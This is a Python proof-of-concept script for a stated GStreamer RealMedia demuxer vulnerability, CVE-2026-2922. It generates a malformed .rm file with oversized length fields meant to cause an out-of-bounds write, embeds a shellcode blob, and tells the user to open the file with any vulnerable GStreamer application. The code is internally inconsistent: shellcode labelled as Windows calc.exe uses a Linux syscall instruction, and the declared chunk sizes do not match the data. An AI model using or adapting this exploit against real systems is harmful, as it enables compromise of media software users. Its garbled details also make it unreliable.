# CVE-2026-2922 PoC - Malformed RealMedia File Generator
# This PoC generates a malicious RM file that triggers OOB write in GStreamer RealMedia Demuxer
import struct
import os
def create_poc_rm_file(output_path):
"""
Generate a PoC RealMedia file that exploits CVE-2026-2922
The vulnerability is in GStreamer's RealMedia Demuxer processing of video packets
"""
# RM file header
rm_header = b'.RMF' # Real Media File header
rm_version = struct.pack('<H', 0) # Version
rm_header_size = struct.pack('<I', 18) # Header size
# File properties chunk
file_props = b'PROP'
fp_size = struct.pack('<I', 48)
fp_version = struct.pack('<H', 0)
fp_max_bitrate = struct.pack('<I', 0x7FFFFFFF)
fp_avg_bitrate = struct.pack('<I', 128000)
fp_max_pkt_size = struct.pack('<I', 0x10000) # Large packet size
fp_avg_pkt_size = struct.pack('<I', 1024)
fp_num_packets = struct.pack('<I', 1)
fp_duration = struct.pack('<I', 1000)
fp_preroll = struct.pack('<I', 0)
fp_index_offset = struct.pack('<I', 0)
fp_data_offset = struct.pack('<I', 0)
fp_num_streams = struct.pack('<H', 1)
fp_flags = struct.pack('<H', 0)
# Media properties chunk - Video stream
media_props = b'MDPR'
mp_size = struct.pack('<I', 70)
mp_stream_num = struct.pack('<H', 0)
mp_max_bitrate = struct.pack('<I', 0x7FFFFFFF)
mp_avg_bitrate = struct.pack('<I', 128000)
mp_max_pkt_size = struct.pack('<I', 0x10000) # Intentionally large
mp_avg_pkt_size = struct.pack('<I', 1024)
mp_start_time = struct.pack('<I', 0)
mp_preroll = struct.pack('<I', 0)
mp_duration = struct.pack('<I', 1000)
mp_stream_name = b'Video\x00'
mp_mime_type = b'video/x-pn-realvideo\x00'
mp_type_specific_len = struct.pack('<I', 50)
# Malformed video header with oversized data length field
# This triggers the OOB write vulnerability
video_header = b'\x00\x00\x01\x00' # Video codec header
oversized_length = struct.pack('<I', 0x7FFFFFFF) # Oversized length value
malicious_data = b'\x41' * 0x10000 # Padding data to trigger overflow
type_specific_data = video_header + oversized_length + malicious_data
# Data chunk
data_chunk = b'DATA'
data_size = struct.pack('<I', 0x10000)
num_packets = struct.pack('<I', 1)
# Malicious packet data that triggers OOB write
packet_header = struct.pack('<H', 0) # Stream number
packet_timestamp = struct.pack('<I', 0)
packet_data_len = struct.pack('<H', 0xFF00) # Oversized data length
# Shellcode for demonstration (calc.exe on Windows)
shellcode = (
b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x52\x53\x54\x59\x50\x55\x57\x35\x10\x10\x00\x00\x35\x72\x10\x00\x00\x50\x89\xe1\xb8\xc7\x8c\x0c\x00\xcd\x80'
)
packet_data = packet_header + packet_timestamp + packet_data_len + shellcode
packet_padding = b'\x00' * (0x10000 - len(packet_data))
packet_data += packet_padding
# Combine all parts
poc_file = (
rm_header + rm_version + rm_header_size +
file_props + fp_size + fp_version + fp_max_bitrate + fp_avg_bitrate +
fp_max_pkt_size + fp_avg_pkt_size + fp_num_packets + fp_duration +
fp_preroll + fp_index_offset + fp_data_offset + fp_num_streams + fp_flags +
media_props + mp_size + mp_stream_num + mp_max_bitrate + mp_avg_bitrate +
mp_max_pkt_size + mp_avg_pkt_size + mp_start_time + mp_preroll +
mp_duration + mp_stream_name + mp_mime_type + mp_type_specific_len +
type_specific_data +
data_chunk + data_size + num_packets + packet_data
)
with open(output_path, 'wb') as f:
f.write(poc_file)
print(f'[+] PoC file created: {output_path}')
print(f'[+] File size: {len(poc_file)} bytes')
print('[!] This file exploits CVE-2026-2922 in GStreamer RealMedia Demuxer')
print('[!] Open with any application using vulnerable GStreamer version')
if __name__ == '__main__':
output_file = 'CVE-2026-2922-poc.rm'
create_poc_rm_file(output_file)